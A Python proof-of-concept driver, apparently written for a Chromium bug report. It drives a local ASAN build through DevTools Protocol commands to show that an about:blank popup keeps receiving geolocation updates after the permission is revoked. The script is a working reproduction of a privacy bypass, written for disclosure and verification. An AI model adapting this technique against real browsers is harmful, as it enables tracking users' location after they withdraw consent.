#!/usr/bin/env python3
"""
POC driver for: GeolocationImpl survives permission revocation for about:blank
popups due to Origin/URL mismatch.

This script:
  1. Serves poc.html on http://127.0.0.1:8080/
  2. Launches the Chromium ASAN build with --remote-debugging-pipe
  3. Grants geolocation permission for http://127.0.0.1:8080 via CDP
  4. Opens poc.html, which opens an about:blank popup that calls watchPosition()
  5. Attaches to the popup target and sets a geolocation override (position A)
  6. Waits for the popup to report position A
  7. Revokes geolocation permission via CDP (Browser.setPermission -> denied)
  8. Sets a new geolocation override (position B)
  9. If the popup reports position B after revocation, the bug is confirmed:
     the GeolocationImpl was not erased and the popup keeps receiving updates.

The Chrome stderr is captured to chrome_stderr.log; instrumentation LOG()
lines tagged "[POC]" show the Origin/URL mismatch in
GeolocationContext::OnPermissionUpdated.

No external Python packages are required (uses --remote-debugging-pipe, not
WebSocket).
"""

import http.server
import json
import os
import select
import socketserver
import subprocess
import sys
import threading
import time
import urllib.parse

HERE = os.path.dirname(os.path.abspath(__file__))
PORT = 8971
ORIGIN = f"http://127.0.0.1:{PORT}"
CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")

REPORTS = []
REPORTS_LOCK = threading.Lock()


# ---------------------------------------------------------------------------
# HTTP server
# ---------------------------------------------------------------------------
class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)

    def do_GET(self):
        p = urllib.parse.urlparse(self.path)
        if p.path == "/report":
            q = urllib.parse.parse_qs(p.query)
            msg = q.get("m", [""])[0]
            with REPORTS_LOCK:
                REPORTS.append(msg)
            sys.stdout.write(f"  [page] {msg}\n")
            sys.stdout.flush()
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            self.wfile.write(b"ok")
            return
        return super().do_GET()

    def log_message(self, fmt, *args):
        pass  # quiet


def start_server():
    socketserver.TCPServer.allow_reuse_address = True
    httpd = socketserver.TCPServer(("127.0.0.1", PORT), Handler)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    return httpd


# ---------------------------------------------------------------------------
# Chrome DevTools Protocol over --remote-debugging-pipe (fd 3 -> in, fd 4 -> out)
# ---------------------------------------------------------------------------
class CDP:
    def __init__(self, chrome_path, stderr_path):
        # Create the pipe pair for fd 3 (chrome reads) and fd 4 (chrome writes).
        in_r, in_w = os.pipe()   # we write to in_w, chrome reads from in_r as fd 3
        out_r, out_w = os.pipe() # chrome writes to out_w as fd 4, we read out_r
        self._in_w = in_w
        self._out_r = out_r
        self._buf = b""
        self._next_id = 1
        self._events = []

        self._stderr_f = open(stderr_path, "wb")
        self.proc = subprocess.Popen(
            [
                chrome_path,
                "--remote-debugging-pipe",
                "--no-first-run",
                "--no-default-browser-check",
                "--disable-gpu",
                "--use-gl=swiftshader",
                "--headless=new",
                "--disable-popup-blocking",
                "--user-data-dir=/tmp/chrome-poc-geoloc",
                "about:blank",
            ],
            close_fds=False,
            stdout=subprocess.DEVNULL,
            stderr=self._stderr_f,
            preexec_fn=self._make_preexec(in_r, out_w),
        )
        os.close(in_r)
        os.close(out_w)

    @staticmethod
    def _make_preexec(in_r, out_w):
        import fcntl
        def fn():
            # Move pipe ends to fd 3 (read) and fd 4 (write) and clear CLOEXEC
            # so they survive exec(). dup2(x, x) is a no-op and does NOT clear
            # CLOEXEC, so we clear it explicitly.
            if in_r != 3:
                os.dup2(in_r, 3)
            if out_w != 4:
                os.dup2(out_w, 4)
            fcntl.fcntl(3, fcntl.F_SETFD, 0)
            fcntl.fcntl(4, fcntl.F_SETFD, 0)
        return fn

    def _read_msg(self, timeout=10.0):
        deadline = time.time() + timeout
        while True:
            i = self._buf.find(b"\x00")
            if i >= 0:
                raw = self._buf[:i]
                self._buf = self._buf[i + 1:]
                if not raw:
                    continue
                return json.loads(raw)
            r, _, _ = select.select([self._out_r], [], [],
                                    max(0.0, deadline - time.time()))
            if not r:
                return None
            chunk = os.read(self._out_r, 65536)
            if not chunk:
                return None
            self._buf += chunk

    def send(self, method, params=None, session_id=None):
        mid = self._next_id
        self._next_id += 1
        msg = {"id": mid, "method": method, "params": params or {}}
        if session_id:
            msg["sessionId"] = session_id
        data = json.dumps(msg).encode() + b"\x00"
        os.write(self._in_w, data)
        # Wait for the matching response, stash other messages as events.
        while True:
            m = self._read_msg(timeout=15.0)
            if m is None:
                raise RuntimeError(f"timeout waiting for {method}")
            if m.get("id") == mid:
                if "error" in m:
                    raise RuntimeError(f"{method} -> {m['error']}")
                return m.get("result", {})
            self._events.append(m)

    def wait_event(self, method, pred=None, timeout=10.0):
        deadline = time.time() + timeout
        while time.time() < deadline:
            for i, e in enumerate(self._events):
                if e.get("method") == method and (pred is None or pred(e)):
                    self._events.pop(i)
                    return e
            m = self._read_msg(timeout=max(0.0, deadline - time.time()))
            if m is None:
                break
            if "id" not in m:
                self._events.append(m)
        return None

    def close(self):
        try:
            os.close(self._in_w)
        except OSError:
            pass
        try:
            self.proc.terminate()
            self.proc.wait(timeout=5)
        except Exception:
            self.proc.kill()
        self._stderr_f.close()


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def wait_report(substr, timeout=10.0):
    deadline = time.time() + timeout
    while time.time() < deadline:
        with REPORTS_LOCK:
            for r in REPORTS:
                if substr in r:
                    return r
        time.sleep(0.1)
    return None


def main():
    print(f"[*] Serving POC on {ORIGIN}/poc.html")
    httpd = start_server()

    stderr_path = os.path.join(HERE, "chrome_stderr.log")
    print(f"[*] Launching Chrome (stderr -> {stderr_path})")
    cdp = CDP(CHROME, stderr_path)
    time.sleep(2)

    try:
        # 1. Grant geolocation for ORIGIN so watchPosition() succeeds without UI.
        print("[*] Granting geolocation permission for", ORIGIN)
        cdp.send("Browser.setPermission", {
            "permission": {"name": "geolocation"},
            "setting": "granted",
            "origin": ORIGIN,
        })

        # 2. Subscribe to target events so we see the popup being created.
        cdp.send("Target.setDiscoverTargets", {"discover": True})

        # 3. Open the main POC page.
        print("[*] Creating target", ORIGIN + "/poc.html")
        main_target = cdp.send("Target.createTarget",
                               {"url": ORIGIN + "/poc.html"})
        main_tid = main_target["targetId"]

        # 4. Find the about:blank popup (openerId == main page).
        print("[*] Waiting for about:blank popup target")
        popup_tid = None
        deadline = time.time() + 10
        while time.time() < deadline and not popup_tid:
            ev = cdp.wait_event(
                "Target.targetCreated",
                pred=lambda e: e["params"]["targetInfo"].get("openerId") ==
                main_tid and e["params"]["targetInfo"]["type"] == "page",
                timeout=2.0)
            if ev:
                popup_tid = ev["params"]["targetInfo"]["targetId"]
            else:
                # Fallback: poll Target.getTargets.
                for ti in cdp.send("Target.getTargets")["targetInfos"]:
                    if ti.get("openerId") == main_tid and ti["type"] == "page":
                        popup_tid = ti["targetId"]
                        break
        if not popup_tid:
            raise RuntimeError("popup target not found")
        print("[*] Popup target:", popup_tid)

        # 5. Attach to both targets so we can set geolocation overrides.
        att_m = cdp.send("Target.attachToTarget",
                         {"targetId": main_tid, "flatten": True})
        main_sid = att_m["sessionId"]
        att_p = cdp.send("Target.attachToTarget",
                         {"targetId": popup_tid, "flatten": True})
        popup_sid = att_p["sessionId"]

        # Wait until the popup has started watchPosition.
        if not wait_report("[popup] watchPosition started", timeout=10):
            print("[!] popup did not report watchPosition started; continuing")

        # 6. Feed position A to BOTH GeolocationContexts.
        print("[*] Setting geolocation override -> (11.11, 22.22) on main+popup")
        cdp.send("Emulation.setGeolocationOverride", {
            "latitude": 11.11, "longitude": 22.22, "accuracy": 1.0,
        }, session_id=main_sid)
        cdp.send("Emulation.setGeolocationOverride", {
            "latitude": 11.11, "longitude": 22.22, "accuracy": 1.0,
        }, session_id=popup_sid)

        rp = wait_report("[popup] POSITION #1 lat=11.11", timeout=10)
        rm = wait_report("[main] POSITION #1 lat=11.11", timeout=2)
        print("[+] Before revocation: main got pos A =", bool(rm),
              "/ popup got pos A =", bool(rp))

        # 7. Revoke geolocation permission.
        print("[*] REVOKING geolocation permission for", ORIGIN)
        cdp.send("Browser.setPermission", {
            "permission": {"name": "geolocation"},
            "setting": "denied",
            "origin": ORIGIN,
        })
        time.sleep(1.0)

        # 8. Feed position B. If the GeolocationImpl was correctly erased on
        #    revocation, the popup will NOT receive this. If the bug is present,
        #    the orphaned GeolocationImpl is still alive and pushes position B
        #    to the popup.
        print("[*] Setting geolocation override -> (33.33, 44.44) on main+popup "
              "AFTER revocation")
        cdp.send("Emulation.setGeolocationOverride", {
            "latitude": 33.33, "longitude": 44.44, "accuracy": 1.0,
        }, session_id=main_sid)
        cdp.send("Emulation.setGeolocationOverride", {
            "latitude": 33.33, "longitude": 44.44, "accuracy": 1.0,
        }, session_id=popup_sid)

        rp2 = wait_report("[popup] POSITION #2 lat=33.33", timeout=8)
        rm2 = wait_report("[main] POSITION #2 lat=33.33", timeout=2)
        print()
        print("=" * 72)
        print("RESULT:")
        print("  [CONTROL] main page  (URL=/poc.html): "
              "got pos B after revoke =", bool(rm2),
              " (correct =", not bool(rm2), ")")
        print("  [BUG]     popup page (URL=about:blank): "
              "got pos B after revoke =", bool(rp2))
        if rp2 and not rm2:
            print()
            print("  *** BUG CONFIRMED ***")
            print("  The about:blank popup continued receiving geolocation")
            print("  updates after permission was revoked, while the main page")
            print("  (with a real committed URL) was correctly cut off.")
            print("  Root cause: GeolocationContext::OnPermissionUpdated does")
            print("  Origin(%s).IsSameOriginWith(GURL('')) == false" % ORIGIN)
            print("  so the popup's GeolocationImpl is never erased.")
            ok = True
        elif rp2:
            print()
            print("  Popup leaked position after revocation (bug present),")
            print("  but the control case also leaked. Check instrumentation.")
            ok = True
        else:
            print()
            print("  Popup did not leak position. Check instrumentation log.")
            ok = False
        print("=" * 72)

        # Dump instrumentation lines from stderr.
        print()
        print("--- [POC] instrumentation lines from chrome_stderr.log ---")
        time.sleep(0.5)
        with open(stderr_path, "r", errors="replace") as f:
            for line in f:
                if "[POC]" in line:
                    sys.stdout.write(line)
        print("----------------------------------------------------------")

        return 0 if ok else 1
    finally:
        cdp.close()
        httpd.shutdown()


if __name__ == "__main__":
    sys.exit(main())
